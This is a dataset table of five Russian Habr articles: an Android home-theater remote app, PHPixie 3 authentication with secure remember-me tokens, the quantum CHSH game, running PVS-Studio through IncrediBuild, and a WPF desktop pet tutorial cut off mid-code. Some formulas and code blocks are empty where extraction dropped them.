text stringlengths 20 1.01M | url stringlengths 14 1.25k | dump stringlengths 9 15 ⌀ | lang stringclasses 4
values | source stringclasses 4
values |
|---|---|---|---|---|
# Как я диплом писал/приложение создавал/на Google Play выкладывал
Пожалуй, начну сначала. Шел далекий 2015-й, август, я был студентом 6 курса и начал задумываться о своей дипломной работе. После прохождения курса разработки мобильных приложений на 4 курсе, хотелось написать что-то под Android. А еще дома уже как полгода был установлен домашний кинотеатр (проектор, экран и аудиопанель, подключенные к настольному ПК). А управлял я всем этим добром через AIORemote.
Но были пара моментов, которые мне в этой схеме очень не нравились: хотя управление основными элементами управления видеоплеером, который я использую (MPC — HC) присутствовали, чтобы запустить видео или удалить, приходилось переключаться на удаленный тачпад.
В общем, сделать жизнь удобнее чесалось уже давно, а тут появились цель, стимул и возможность.
Началось все с идеи создать приложение для удаленного управления домашним кинотеатром. Поиск по Google Play выявил, что аналоги есть (куча приложений для удаленного управления MPC — HC, а так же универсальные для удаленного управления компьютером). Загвоздка в том, что не было строго определенных нужных мне функции. Значит надо изобрести свой велосипед.
Шаг первый
----------
Для начала набросал эскиз как я вижу главный экран приложения — экран с элементами управления.
Слева — начальный набросок, справа — то, что получилось на текущий день
Параллельно с этим занялся поисками библиотеки, которая облегчит доступ к API видеоплеера. Нашел MPC\_API\_LIB, написанную то ли испанцем, то ли итальянцем (судя по комментариям в исходном коде).
Просто мобильное приложение может взаимодействовать только с плеером, да и то через WEB-интерфейс (оставил это на крайний случай), поэтому нужна серверная часть. Но на чем писать сервер? Запускать планируется на Windows, поэтому .NET подходит. Или Java? К этому моменту знаний .NET и Java у меня было на одном уровне, и я решил писать на .NET.
### Шаг второй
Управление аудиовыходами компьютера. У меня аудиопанель подключена к компьютеру, у компьютера также имеются колонки. И одна из самых раздражительных вещей при начале просмотра кино — переключение звука. Выяснил, что есть утилиты, которые имитируют вызов системного окна с настройками звука. Но еще нашел интересную утилиту [DefSound](http://eretik.omegahg.com/tools/DefSound.html), которая использует системные библиотеки. То, что нужно. Завязываю переключение аудиоустройств в приложении на нее.
### Шаг третий
К декабрю 15го создаю первую версию, которая переключает аудио, управляет воспроизведением и другими мультимедийными функциями. Параллельно с этим пишу документацию (так как у меня же диплом) и регистрирую аккаунт разработчика в Google. К этому моменту написан индусский рабочий код.
Разработку немного осложняло то, что у меня нет так такового android-смартфона. Но есть Blackberry Z30. А в нем зашит Android runtime 4.3. Поэтому тесты в реальных условиях были именно на нем.
### Шаг четвертый
Думаю о монетизации приложения. Выбираю, как мне теперь кажется, самый неправильный вариант: платная и бесплатная версии. Сервер представляет из себя консольное приложение с настройками через config-файл, все нужно указывать вручную. С самого начала было решено перевести приложение на английский (немного поэксплуатировав супругу-переводчицу).
Провел много времени в раздумьях, как заставить работать ActionBar одинаково на всех устройствах. Наконец, составил стиль на основе библиотеки AppCompat:
```
<item name="android:actionBarStyle">@style/MyActionBarStyle</item>
<item name="actionBarStyle">@style/MyActionBarStyle</item>
<item name="actionMenuTextColor">@color/textColor</item>
<item name="android:logo">@mipmap/ic\_launcher</item>
<item name="logo">@mipmap/ic\_launcher</item>
<item name="android:displayOptions">showHome|useLogo</item>
<item name="displayOptions">showHome|useLogo</item>
```
Встраивание рекламы в приложение требует некоторых уступок. Например, я смирился с тем, что вес приложения увеличился в три раза (на данный момент с 2.4МБ до 6.5МБ), а так же с набором разрешений:
без рекламы:
```
```
с рекламой:
```
```
Работу с Toast’ами во время разработки так же пришлось переосмыслить, чтобы не накапливалась куча toast’ов, не успевших показаться:
```
public class SingleToast {
private static Toast mToast;
public static void show(Context context, String text) {
show(context, text, Toast.LENGTH_SHORT);
}
public static void show(final Context context, final String text, final int duration) {
Handler shower = new Handler(Looper.getMainLooper());
shower.post(new Runnable() {
@Override
public void run() {
if (mToast != null) {
mToast.cancel();
}
mToast = Toast.makeText(context, text, duration);
mToast.show();
}
});
}
public static void hide() {
if (mToast != null) {
mToast.cancel();
}
}
public static Toast getToast() {
return mToast;
}
}
```
От сервера ответ приходит в формате JSON, но механизм парсинга на клиенте еще не рафакторился и используются классы из org.json. Хотя подключена библиотека com.fasterxml.jackson и планируется грамотная работа с JSON.
### Шаг пятый
В начале лета 16-го, за месяц до сдачи диплома приложение приведено в более-менее презентабельный вид. Внезапно встал вопрос с иконкой. В интернете иконок по похожей тематике полно, но авторские права и всякие лицензии настораживают. Я не художник, но Photoshop’ом иногда пользуюсь. Поэтому и на этом этапе изобретаю велосипед.
Мобильному приложению требуется сервер, запущенный на ПК. И его надо как-то распространить. Что ж, нужен сайт.
### Шаг шестой
Создаю статичный сайт для хранения и распространения серверной части. Голый HTML + CSS. Публикую приложение в Google play. И вот тут с первой публикацией возникла загвоздка (которая, кстати, до сих пор не решена). Опубликовал сначала бета-версию и попросил друзей потестировать. Потом перевел в релиз. И тут друг говорит, что не может оставить отзыв и оценить приложение.
Переписка в техподдержкой плодов не принесла и я видел единственный вариант — опубликовать заново. Благо, вторая публикация успешно прижилась и все заработало. Успел вставить в дипломную презентацию скриншоты со страницы Google play (как позже оказалось — это имело вес при защите). Тем времен иду сдавать диплом…
### Наши дни
После сдачи диплома желание развивать проект не уменьшилось (хотя ожидал, что после исчезновения стимула может надоесть). Сайт был переведен на PHP для удобного администрирования. Половину разработки сайта я возложил на плечи супруги, отчего работа над проектом получилась семейной. В приложение постепенно добавлялись новые функции, которые придумывались по мере использования. За год разработки apache.http, который я изначально использовал (и использую по сей день) успел стать legacy. Вышел Android N. Вышла Android Studio 2.
На данный момент переделана серверная часть — переписана на WPF, локализована на английский язык (изначально имелись только английские пояснения в файле настроек).
### Статистика
На данный момент закачек более 2к:
Активных совсем мало, и проект можно считать провалом. Но я почему-то так не считаю. Было получено много опыта на каждом шаге.
В проект было вложено 25$ за аккаунт и много личного времени, но изначально не было цели заработать. Скорее, я рассматриваю это как хобби, хотя бы потому, что занимаюсь им в свободное от работы время. И потому, что оно приносит удовольствие. | https://habr.com/ru/post/308884/ | null | ru | null |
# Безопасная авторизация с PHPixie 3
Сегодня вышел самый долгожданный компонент [PHPixie](http://phpixie.com) 3 — Auth для авторизации пользователей. Авторизация это наиболее критическая часть любого приложения, сделать ее правильно трудно, а ошибки могут скомпрометировать множество пользователей, особенно если речь идет об оупенсорсе. Использование устарелых hash-функций, криптографически небезопасных генераторов случайных чисел, неправильная работа с кукисами встречаются слишком часто. Я уже когда-то писал о [старой уязвимости в Laravel](http://habrahabr.ru/post/219475/), которую кстати полностью так не исправили. Поэтому в PHPixie Auth я очень внимательно отнёсся к аутентификации, особенно к долгим сессиям и кукисам.
Кстати в конце статьи у меня для вас есть очень радостная новость (спойлер: PHPixie теперь член PHP-FIG)
Что делает PHPixie Auth безопасным:
* использование *password\_hash()* из PHP 5, и пакета компатибильности для более старых версий
* аналогично с криптографически безопасным *random\_bytes()* из PHP 7
* следование защищенному методу работы с кукисами из [jaspan.com/improved\_persistent\_login\_cookie\_best\_practice](http://jaspan.com/improved_persistent_login_cookie_best_practice)
Последний пункт наиболее интересный и среди PHP фреймворков не имеет аналогов из коробки. Суть заключается в отдельной таблице для хранения токенов логина.
1. При логине создается пара случайных строк: идентификатор серии и пароль, которые отдаются пользователю в форме куки
2. Создается хеш серии с паролем и записывается в базу вместе с идентификатором юзера и сроком годности
3. При повторном обращении на сайт хеш с куки сравнивается с хешем в базе, и если они совпадают то происходит логин, старый токен удаляется и пользователю создается новый, но с той же серией
4. Если хеш не совпал, значит куки кто-то украл или пробует подобрать. В таком случае удаляются все токены с той же серией
Такой подход позволяет пользователю быть одновременно залогиненным на нескольких устройствах (одно устройство — одна серия). Например Laravel просто сохраняет токен в таблице пользователей, и как результат у пользователя токен может быть только один на все устройства.
##### Конфигурация
Как и другие компоненты PHPixie, Auth можно использовать и без фреймворка, но для простоты изложения я опишу как раз этот случай.
Во-первых вам понадобится репозиторий пользователей, каждый бандл может предоставлять свои репозитории, из которых мы выберем нужные уже в конфиг файле. Если вы используете ORM для работы с пользователями, то с Auth поставляется готовый враппер:
```
namespace Project\App\ORMWrappers\User;
// Враппер репозитория
class Repository extends \PHPixie\AuthORM\Repositories\Type\Login
{
//Есть поддержка логина по нескольким полям
// например по юзернейму и емейлу
protected function loginFields()
{
return array('username', 'email');
}
}
```
```
namespace Project\App\ORMWrappers\User;
// Враппер сущности
class Entity extends \PHPixie\AuthORM\Repositories\Type\Login\User
{
// указываем поле с хешем пароля
protected function passwordHash()
{
return $this->password;
}
}
```
Не забываем зарегистрировать их в ORMWrappers.php
```
namespace Project\App;
class ORMWrappers extends \PHPixie\ORM\Wrappers\Implementation
{
protected $databaseEntities = array('user');
protected $databaseRepositories = array('user');
public function userEntity($entity)
{
return new ORMWrappers\User\Entity($entity);
}
public function userRepisitory($repository)
{
return new ORMWrappers\User\Repository($repository);
}
}
```
Теперь зарегистрируем этот репозиторий в бандле:
```
namespace Project\App;
class AuthRepositories extends \PHPixie\Auth\Repositories\Registry\Builder
{
protected $builder;
public function __construct($builder)
{
$this->builder = $builder;
}
protected function buildUserRepository()
{
$orm = $this->builder->components()->orm();
return $orm->repository('user');
}
}
```
```
namespace Project\App;
class Builder extends \PHPixie\DefaultBundle\Builder
{
protected function buildAuthRepositories()
{
return new AuthRepositories($this);
}
}
```
Также необходимо создать таблицу для хранения токенов (при использовании MongoDB все будет работать сразу):
```
CREATE TABLE `tokens` (
`series` varchar(50) NOT NULL,
`userId` int(11) DEFAULT NULL,
`challenge` varchar(50) DEFAULT NULL,
`expires` bigint(20) DEFAULT NULL,
PRIMARY KEY (`series`)
)
```
Теперь сам конфиг файл. Самый популярный подход будет выглядеть вот так:
```
// /assets/auth.php
return array(
'domains' => array(
'default' => array(
// репозиторий user из бандла app
'repository' => 'app.user',
'providers' => array(
// включаем поддержку сессий
'session' => array(
'type' => 'http.session'
),
// поддержка кукисов (для "remember me")
'cookie' => array(
'type' => 'http.cookie',
// при логине сказать провайдеру session
// чтобы тот запомнил юзера
'persistProviders' => array('session'),
// где сохранять токены
'tokens' => array(
'storage' => array(
'type' => 'database',
'table' => 'tokens',
'defaultLifetime' => 3600*24*14 // две недели
)
)
),
// поддержка логина паролем
'password' => array(
'type' => 'login.password',
// запомнить пользователя в сессии.
// заметьте что в этом массиве нет 'cookies'
// ведь мы будем делать "remember me" логин
// не всегда, а только когда юзер сам попросит
'persistProviders' => array('session')
)
)
)
);
```
Все провайдеры независимы один от другого, что позволяет легко изменить функционал. Например если вы хотите использовать только куки, без сессий, и при этом отключить обновление токена на каждом запросе, то можете сделать вот так:
```
// /assets/auth.php
return array(
'domains' => array(
'default' => array(
'cookie' => array(
'type' => 'http.cookie',
// где сохранять токены
'tokens' => array(
'storage' => array(
'type' => 'database',
'table' => 'tokens',
'defaultLifetime' => 3600*24*14,
'refresh' => false
)
)
),
'password' => array(
'type' => 'login.password',
'persistProviders' => array('cookie')
)
)
)
);
```
##### Использование
Cоздадим простенький процессор, чтобы попробовать как это все вместе работает:
```
namespace Project\App\HTTPProcessors;
class Auth extends \PHPixie\DefaultBundle\Processor\HTTP\Actions
{
protected $builder;
public function __construct($builder)
{
$this->builder = $builder;
}
// Смотрим залогинен ли пользователь в домене
public function defaultAction($request)
{
$user = $this->domain()->user();
return $user ? $user->username : 'not logged';
}
// екшн для добавления пользователя в базу
public function addAction($request)
{
$query = $request->query();
$username = $query->get('username');
$password = $query->get('password');
$orm = $this->builder->components()->orm();
$provider = $this->domain()->provider('password');
$user = $orm->createEntity('user');
$user->username = $username;
// хешыруем пароль используя провайдер
$user->passwordHash = $provider->hash($password);
$user->save();
return 'added';
}
// Логиним пользователя по паролю
public function loginAction($request)
{
$query = $request->query();
$username = $query->get('username');
$password = $query->get('password');
$provider = $this->domain()->provider('password');
$user = $provider->login($username, $password);
if($user) {
// generate persistent cookie
$provider = $this->domain()->provider('cookie');
$provider->persist();
}
return $user ? 'success' : 'wrong password';
}
// логаут
public function logoutAction($request)
{
$this->domain()->forgetUser();
return 'logged out';
}
protected function domain()
{
$auth = $this->builder->components()->auth();
return $auth->domain();
}
}
```
Теперь заходим по урлах и смотрим результат:
1. /auth — пользователь не залогинен
2. /auth/add?username=jigpuzzled&password=5 — создаем пользователя
3. /auth/login?username=jigpuzzled&password=5 — логинимся
4. /auth — проверяем логин
5. /auth/logout — логаут
Вы уже заметили что как и в конфиг файле, так и в процессоре встречается понятие домена. Домен это отдельный инстанс аутентификации со своим репозиторием и провайдерами. В большинстве случаев у вас будет только один домен. Несколько доменов понадобятся когда у вас будут отдельные секции сайта с разными логинами, например фронтенд позволяет пользователям зайти на сайт через логин фейсбука, а вот бекенд только через логин и пароль.
##### Свои провайдеры
Со временем вам наверняка понадобиться добавить свой провайдер логина, например для авторизации через социальные сети. Для этого вам понадобится сделать свой строитель провайдеров ( например по аналогии с [Login](https://github.com/PHPixie/Auth-Login/blob/master/src/PHPixie/AuthLogin/Providers.php)) и зарегистрировать его [как расширение](https://github.com/PHPixie/Framework/blob/master/src/PHPixie/Framework/Extensions.php#L29). Для подробного описания я напишу отдельную статью но этих двух ссылок должно быть достаточно для начала.
#### PHPixie теперь член в PHP-FIG
Спасибо [SamDark](http://habrahabr.ru/users/samdark/) PHPixie уже от завтра будет членом PHP-FIG! Полный тред голосования можно увидеть [тут](https://groups.google.com/forum/#!topic/php-fig/jDTA1fue8ss). И еще огромное спасибо всем пользователям фреймворка, так как именно популярность и количество загрузок один из главных критериев отбора ^\_\_^ | https://habr.com/ru/post/267177/ | null | ru | null |
# Искусство побеждать или что такое квантовая псевдотелепатия
Привет, Хабр!
Решил продолжить серию статей о нестандартных применениях квантовых вычислений. Под катом речь пойдет об игре для двух игроков, в которую лучше всего играть предварительно изучив принципы квантовой механики.
> «В мире нет ничего особенного. Никакого волшебства. Только физика.» (Чак Паланик)
Перед прочтением
----------------
Для полного понимания материала необходимо знание базовых терминов квантовой информатики: кубиты, измерение кубитов и запутанность. Про все это можно почитать в [1], там описана краткая теория и приведен набор задач по каждой теме.
Описание игры
-------------
John Clauser, Michael Horne, Abner Shimony и Richard Holt разработали альтернативный подход к неравенствам Белла и представили его в виде простой игры, назвав ее CHSH Game. Суть довольна проста. Два наших стандартных игрока (Алиса и Боб) играют по следующим правилам:
1. Некий судья генерирует два случайных бита  и  (назовем их входными битами). Затем отправляет бит  Алисе, а бит  – Бобу.
2. Алиса и Боб, глядя на полученные биты (каждый из игроков видит только свой бит), отвечает судье опять-таки одним битом. Введем обозначения:  — выходной бит Алисы,  – выходной бит Боба.
3. Судья на основе битов Алисы и Боба выносит вердикт – победа игроков или их поражение. Условие победы выглядит следующим образом: , где  — логическое «И», а  — операция «XOR».
PS. Считаем судью честным на 100%.
Как видно из условий, игра кооперативная. Цель Алисы и Боба — разработать стратегию, обеспечивающую максимальную вероятность выигрыша. Однако обсуждать планы они могут только перед игрой, во время игры общение запрещено.
Классическая стратегия
----------------------
Сначала рассмотрим классическую стратегию игры, и какие плоды она может принести. Тут все просто: так как функция  равна нулю в 75 процентах случаев, то наиболее выгодной стратегией будет отправка судье битов , . Таким образом, вероятность выигрыша равна
Квантовая стратегия
-------------------
Возможность применения квантовой стратегии объясняется наличием некой связи между игроками на уровне квантовомеханических явлений. Эту связь Жиль Брассард в одной из своих работ [2] назвал *псевдотелепатией* и предложил учитывать ее с помощью запутанных квантовых состояний, разделенных между игроками.
Так и поступим: возьмем двухкубитное запутанное состояние . Первый кубит из этой пары отдадим Алисе, а второй – Бобу. Далее будем разбираться, как это использовать.
После получения входных битов Алиса и Боб выбирают базис, в котором они будут измерять свои половинки запутанного состояния. Обозначим этот базис как
где  — произвольный угол. Легко убедиться, что этот базис является ортонормированным. Пусть Алиса использует для измерения угол , если получила входной бит , и угол , если входной бит . Аналогично Боб использует углы  и , если получил входной бит  и  соответственно. Измерение определяет выходной бит каждого из игроков. Если при измерении он получил состояние , то он отправляет судье ноль, а если получил , то отправляет единицу. То есть квантовая механика будет определять стратегию игры!
Переберем теперь всевозможные комбинации входных битов:
1. , 
Алиса и Боб выиграют, если ответят ,  или , . Вероятность выигрыша в этом случае будет
Путем несложных, но довольно утомительных, вычислений получаем
2. , 
Алиса и Боб выиграют, если ответят ,  или , . Вероятность этого
3. , 
Алиса и Боб выиграют, если ответят опять-таки ,  или , . Вероятность этого
4. , 
Алиса и Боб выиграют, если ответят ,  или , . Вероятность этого
Так как значения входных битов равновероятны, то общая вероятность, определяющая успех при использовании квантовой стратегии, задается формулой
![$P_{Quantum}=\frac{1}{4}[P(x=0,y=0)+P(x=0,y=1)+P(x=1,y=0)+P(x=1,y=1)]$](https://habrastorage.org/getpro/habr/formulas/109/4a7/c0f/1094a7c0fd15c9476d379890599096e1.svg)
или
![$P_{Quantum}=\frac{1}{4}[\cos^2(\alpha_0-\beta_0)+\cos^2(\alpha_0-\beta_1)+\cos^2(\alpha_1-\beta_0)+\sin^2(\alpha_1-\beta_1)]$](https://habrastorage.org/getpro/habr/formulas/b5c/6ff/8c5/b5c6ff8c59ccdd89c76f4478ea5bf8bf.svg)
Так как мы не накладывали никаких ограничений на углы измерительных базисов, то выберем следующие значения: , ,  и . Тогда получим довольно неожиданное значение вероятности
Ну или тот же самый результат можно получить, решив задачу оптимизации функции  любым подходящим способом.
Для примера, листинг минималистичной программки на языке Python, решающей эту задачу:
```
from scipy.optimize import minimize
from math import sin, cos, pi
f = lambda x: -(cos(x[0] - x[2])**2 + cos(x[0] - x[3])**2 + cos(x[1] - x[2])**2 + sin(x[1] - x[3])**2) / 4
res = minimize(f, [pi] * 4, method='Nelder-Mead')
print("Max value =", abs(f(res.x)))
```
И результат выполнения:
```
Max value = 0.8535533904794891
```
То есть мы получили, что . Следовательно, используя квантовую стратегию, Алиса и Боб увеличивают свои шансы на победу.
Выводы
------
Учите кванты и побеждайте!
Литература
==========
[1] *В.-Х. Стиб, Й. Харди* Задачи и их решения в квантовых вычислениях и квантовой теории информации, Изд. Регулярная и хаотическая динамика, 2007.
[2] *Gilles Brassard, Anne Broadbent, Alain Tapp* Quantum Pseudo-telepathy, Foundations of Physics, Vol. 35, Issue 11, 2005. | https://habr.com/ru/post/352872/ | null | ru | null |
# Интеграция PVS-Studio с системой распределённой сборки IncrediBuild
PVS-Studio выполняет анализ C/C++ кода и подсказывает программисту, где скрываются ошибки, или указывает на участки кода, которые могут стать проблемными в будущем. Если разрабатываемый проект достаточно большой, то анализ может занимать весьма много времени. Для ускорения анализа большого проекта можно воспользоваться инструментом IncrediBuild. Если у вас уже установлен анализатор PVS-Studio и инструмент IncrediBuild, то из статьи вы узнаете, как их можно подружить и добиться ускорения анализа. В дальнейшем анализатор PVS-Studio будет еще плотней интегрироваться с IncrediBuild. Но ещё раз повторим, что распараллелить запуск PVS-Studio на нескольких машинах можно уже сейчас. Это просто. И в статье мы расскажем, как это сделать.
Введение
--------
Любой разработчик, у кого компиляция проекта занимает более получаса, знает о существовании продукта [IncrediBuild](https://www.incredibuild.com/). Это решение предназначено для ускорения компиляции путем распределенной сборки на несколько машин. В итоге компиляцией проекта одновременно занимается несколько компьютеров (например, четыре). Каждый компьютер компилирует свою часть файлов и в результате общее время сборки сокращается в несколько раз.
В последнее время к нам стали обращаться пользователи [PVS-Studio](http://www.viva64.com/ru/pvs-studio/) с просьбой добавить поддержку IncrediBuild в наше решение. Мы связались с командой разработчиков IncrediBuild и попросили содействия. Команда IncrediBuild с радостью откликнулась, и теперь мы готовы поделиться способом как совместно использовать PVS-Studio и IncrediBuild.
Сейчас (в версии PVS-Studio 5.25) пользователь, установивший PVS-Studio на свою машину, не увидит в меню своей IDE пункта «проверить проект в PVS-Studio с помощью IncrediBuild». Возможно, что в следующих версиях PVS-Studio такой пункт меню появится. Но уже сейчас пользователь IncrediBuild может получить выгоды от этой системы при использовании PVS-Studio. Нужно только чуть-чуть магии. И в этой статье рассказано, какие заклинания надо произнести.
Как работает PVS-Studio?
------------------------
Какую цель может преследовать человек, желающий интегрировать PVS-Studio с IncrediBuild? Думаю, вполне очевидно, что конечной целью этого должно стать уменьшение времени, необходимого для анализа исходных файлов. Давайте разберёмся, что же, на самом деле, представляет собой «проверка кода в PVS-Studio» и как его «подсоединить» к IncrediBuild.
IncrediBuild в первую очередь предназначен для распределения сборочных задач между доступными вычислительными ресурсами, то есть между компьютерами разработчиков. Что именно нужно распределять в случае запуска статического анализатора PVS-Studio?
Непосредственную проверку исходных C/C++ файлов PVS-Studio осуществляет с помощью command line утилиты PVS-Studio.exe. Эта утилита – ядро анализатора, по принципу своего использования она очень близка к C++ компилятору. В частности, PVS-Studio.exe требуется запускать каждый раз для проверки каждого исходного файла, передавая в эту утилиту все параметры компиляции этого файла и дополнительные параметры.
*Примечание. Параметры компиляции нужны анализатору, так как ему нужно сначала [препроцессировать](http://www.viva64.com/ru/t/0040/) файл. Соответственно, он должен знать какие директивы препроцессора объявлены, где искать заголовочный файлы и так далее.*
Стоит отметить, что PVS-Studio.exe не предназначен для «ручного» использования – его нельзя просто «натравить» на директорию с исходными файлами. Как раз для автоматизации этой процедуры запуска и служит плагин PVS-Studio, интегрирующийся в среду разработки Visual Studio. Как вариант можно использовать оболочку [PVS-Studio Standalone](http://www.viva64.com/ru/d/0360/).
Конечно, в случае использования сборочной системы, отличной от MSBuild, запуск PVS-Studio.exe можно встроить и в другие сборочные системы, однако, это не отменяет того принципа, что PVS-Studio.exe не должен использоваться напрямую пользователем анализатора.
Думаю, теперь нам очевидно, что для оптимизации работы анализатора необходимо распределить процедуру анализа на этапе запуска процессов PVS-Studio.exe. Эта ситуация очень схожа с тем, как Incredibuild работает при обычной сборке проекта – распределяет запуски компиляторов (например, cl.exe) и линковщиков.
При этом IncrediBuild «обманывает» локальную сборочную систему. MSBuild.exe запускает процессы компиляции и линковки как бы «локально», а IncrediBuild «втихую» разносит непосредственно реальную работу этих процессов по доступному ему вычислительным узлам (компьютерам).
Само собой, очевидно, что IncrediBuild не ограничен в том, какие именно процессы можно разносить по вычислительным узлам. Как же нам с его помощью «обмануть» PVS-Studio? В нашем случае, «обманывать» нам нужно будет того, кто занимается непосредственным запуском процессов PVS-Studio.exe.
Для примера остановимся на том, что пользователь имеет проект в Microsoft Visual Studio, собираемый в MSBuild. Тогда для проверки этого проекта он, скорее всего, будет использовать плагин PVS-Studio для данной IDE. Плагин IDE – это часть самой IDE, поэтому мы можем теперь назвать того, кого нам предстоит «обмануть» – devenv.exe – процесс, который и является той самой Microsoft Visual Studio.
Предположим также, что пользователь PVS-Studio использует статический анализатор, регулярно запуская его на своём «сборочном сервере». Предположим ещё, что проект достаточно крупный (несколько тысяч исходных файлов), ведь иначе у пользователя нет смысла ускорять его проверку.
Всё это означает, что пользователь не будет запускать проверку каждый раз «вручную», выбирая пункт меню 'Check Solution'. Как же он тогда поступит?
```
"C:\Program Files (x86)\Microsoft Visual Studio
12.0\Common7\IDE\devenv.exe" "D:\Test\OmniSample\OmniSample
(vs2013).sln" /command "PVSStudio.CheckSolution
Win32|Release|D:\Test\OmniSample\test.plog"
```
Выше приведена строка запуска анализа PVS-Studio для проекта OmniSample (vs2013).sln, конфигурации Win32|Release. По завершению анализа процесс devenv.exe автоматически завершится. Лог проверки будет сохранён в D:\Test\OmniSample\test.plog. Это – «стандартный» способ использования PVS-Studio из командной строки, про который можно подробнее почитать [здесь.](http://www.viva64.com/ru/d/0001/)
Ещё раз повторим, что это не единственный способ использовать PVS-Studio, но для наглядности остановимся именно на нём.
Что же произойдёт при выполнении данной команды? Запущенный процесс devenv.exe начнёт параллельно запускать процессы PVS-Studio.exe, как мы говорили ранее, по одному на исходный файл. Сколько парольных процессов будет запущено указано в настройках анализатора и эту настройку можно изменить. По умолчанию, PVS-Studio будет запускать одновременно столько процессов, сколько есть логических ядер в системе.
Как может помочь IncrediBuild?
------------------------------
Предположим теперь, что у нас есть проект из 1000 файлов, и мы запускаем анализ на машине с 4 ядрами. Это означает, что анализатору devenv.exe придётся сделать 250 итераций (по 4 процесса) для того, чтобы успешно проверить весь проект. Как же IncrediBuild может нам помочь?
Предположим, что у пользователя PVS-Studio есть ещё 3 машины, и на каждой также доступно по 4 процессорных ядра. Если бы мы могли «разнести» запуски PVS-Studio.exe по этим 4 машинам, то нам потребовалось бы уже не 250 «итераций», а всего лишь 62,5 (ведь у нас есть 16 ядер).
Для того, чтобы распределить запуски анализаторов на разных компьютерах, воспользуемся command line утилитой [IBConsole](http://www.viva64.com/go.php?url=1621):
```
ibconsole /command=incredi.bat /profile=incredi.xml
```
Файл incredi.xml должен при этом иметь такое содержание:
```
xml version="1.0" encoding="UTF-8" standalone="no" ?
```
Как видно, мы «перехватываем» активность devenv и позволяем «распределять» процессы PVS-Studio. В файле incredi.bat необходимо прописать строку запуска devenv.exe, приведённую в статье ранее. Также, нужно не забыть сменить в настройках PVS-Studio уровень распараллеливания с 4 до 16.
Предположим, что IncrediBuild заранее был установлен и корректно настроен на 4-х машинах. Теперь после запуска команды ibconsole мы увидим, что запуски PVS-Studio.exe распределяются между этими 4 компьютерами, и общее время анализа сократится.
При этом, на всех машинах, кроме той, на которой выполняется данная команда, нет необходимости держать как PVS-Studio и Visual Studio, так и проверяемые исходники. IncrediBuild об этом позаботится за вас.
На сколько же сократится время анализа? Вначале может показаться, что оно сократится ровно в 4 раза, ведь у нас теперь есть 16 ядер, а не 4. На самом деле, это число будет меньше четырёх, и зависит от очень многих факторов. К этим факторам относится производительность компьютеров, их загруженность другими задачами, пропускная способность сети и много другое. Но можно точно утверждать, что оно будет меньше 4, т.к. в любом случае будет наблюдаться «эффект бутылочного горлышка». Ведь инициатор анализа (devenv.exe), должен обрабатывать результаты запусков PVS-Studio.exe. В наших опытах, при задействовании 4 машин, мы получали ускорение в 2.5-3.5 раза.
Если пользователь захочет всё же запустить анализ вручную, выбрав пункт 'Check Solution', то достаточно просто изменить содержимое файла incredi.bat, прописав туда простой вызов devenv.exe – откроется окно Visual Studio, в котором можно будет проделать все эти действия, пользуясь преимуществами распределённого запуска анализаторов. Конечно, это совсем не так удобно, как просто открыть Visual Studio и выбрать там пункт меню «проверить в IncrediBuild», и в будущем такой пункт может действительно появится в меню PVS-Studio.
Заключение
----------
Вы уже сейчас можете использовать совместно IncrediBuild и PVS-Studio в текущих версиях. Если у вас будут какие-то трудности – обязательно [пишите нам](mailto:support@viva64.com), и мы поможем.
[](http://www.viva64.com/en/b/0338/)
Если хотите поделиться этой статьей с англоязычной аудиторией, то прошу использовать ссылку на перевод: Paul Eremeev. [Integrating PVS-Studio with the IncrediBuild Distributed Build System](http://www.viva64.com/en/b/0338/).
**Прочитали статью и есть вопрос?**Часто к нашим статьям задают одни и те же вопросы. Ответы на них мы собрали здесь: [Ответы на вопросы читателей статей про PVS-Studio, версия 2015](http://www.viva64.com/ru/a/0085/). Пожалуйста, ознакомьтесь со списком. | https://habr.com/ru/post/263369/ | null | ru | null |
# Desktop pet на C# WPF
Desktop pet — пусть и бесполезное, но весьма забавное украшение рабочего стола. В данной статье показана, наверное, самая простая его реализация.
*Гифка под катом!*
Немного о начале работы с WPF
-----------------------------
Для создания приложения использовалась Visual Studio 2017. Итак, создаём проект, **Visual C# -> Приложение WPF**.
Для начала необходимо создать папку, в которой будут храниться анимированные спрайты для будущего десктоп пета. Для этого нужно райткликнуть по названию проекта в обозревателе решений **Добавить -> Создать папку**, назовём *Images*.
Чтобы добавить спрайты в папку, достаточно перенести их в неё в обозревателе решений.
Настройка окна приложения
-------------------------
Окно приложения представляет собой непосредственно тело десктоп пета, поэтому нужно убрать всё лишнее, чтобы было видно только спрайты. Перейдём в *MainWindow.xaml*. Пропишем нужные свойства внутри тега Window. Изначально они выглядят так:
```
Title="MainWindow" Height="450" Width="800">
```
Чтобы убрать рамку окна:
```
WindowStyle="None" ResizeMode="NoResize"
```
Чтобы сделать прозрачным фон:
```
Background="Transparent" AllowsTransparency="True"
```
Далее определим место на экране, где появится окно. Например, в правом нижнем углу над панелью управления. Для настройки положения окна вручную нужно указать свойства, где **Top** определяет отступ от верхнего края экрана, а **Left** – от левого:
```
WindowStartupLocation="Manual" Top="485" Left="1000"
```
В итоге тег **Window** должен выглядеть так:
WpfAnimatedGif
--------------
К сожалению, по-умолчанию WPF не поддерживает работу с гифками, поэтому придётся дополнительно установить библиотеку **WpfAnimatedGif**. Для этого нужно райткликнуть по названию проекта в обозревателе решений и выбрать **Управление пакетами NuGet…**
В появившемся окне вводим в поиск “WpfAnimatedGif”, выбираем первое и нажимаем установить.
После этого в тег **Window** нужно добавить пространство имён:
```
xmlns:gif="http://wpfanimatedgif.codeplex.com"
```
На этом установка закончена, перейдём к непосредственно спрайтам.
Основная часть
--------------
Перейдём к содержимому окна внутри Grid. Перед началом не забудем убрать прозрачность Grid:
Чтобы указать имя файла начального спрайта в теге Image, используем AnimatedSource из WpfAnimatedGif:
```
gif:ImageBehavior.AnimatedSource="Images/a.gif"
```
Чтобы анимация была бесконечной, нужно ставить *gif:ImageBehavior.RepeatBehavior="Forever"*, но в моём примере после начальной анимации будет другая, поэтому *gif:ImageBehavior.RepeatBehavior="1x”*.
```
```
*gif:ImageBehavior.AnimationCompleted="Complete"* – функция, выполняемая после окончания анимации.
Чтобы взаимодействовать с персонажем добавим прозрачную кнопку:
Обратите внимание на свойство *Click=”Change”*, где *Change* – функция, выполняемая при нажатии.
В итоге Grid должна выглядеть так:
```
```
Перейдём к коду для поведения десктоп пета (*MainWindow.xaml.cs*). При нажатии персонаж чихает и меняет эмоцию, причем чихает каждый раз в другую сторону.
Внутри класса *MainWindow:Window* инициализируем нужные переменные:
```
int k = 0;//номер эмоции
string num = "";//имя файла
int n=11;//количество эмоций +1(не учитывая чихи)
```
Там же добавим две функции: *Complete* и *Change*.
```
private void Complete(object sender, RoutedEventArgs e)
{
